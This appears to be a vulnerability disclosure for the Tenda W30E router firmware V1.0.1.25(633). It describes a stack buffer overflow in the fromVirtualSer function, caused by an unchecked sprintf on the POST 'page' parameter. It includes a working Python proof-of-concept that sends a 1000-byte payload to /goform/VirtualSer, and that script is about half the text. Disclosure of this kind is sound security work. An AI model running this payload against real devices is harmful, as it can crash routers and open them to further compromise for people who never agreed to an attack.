- Firmware download website: https://www.tenda.com.cn/download/detail-2218.html
W30Ev1.0 V1.0.1.25(633)
The Tenda W30Ev1.0 V1.0.1.25(633) firmware has a stack overflow vulnerability located in the fromVirtualSer function. This function accepts the page parameter from a POST request. The statement sprintf(s, "nat_virtualser.asp?page=%s", v5); leads to a buffer overflow. The user-supplied page can exceed the capacity of the s array, thus triggering this security vulnerability.
import requests
from pwn import*
ip = "192.168.84.101"
url = "http://" + ip + "/goform/VirtualSer"
payload = b"a"*1000
data = {"page": payload}
response = requests.post(url, data=data)
print(response.text)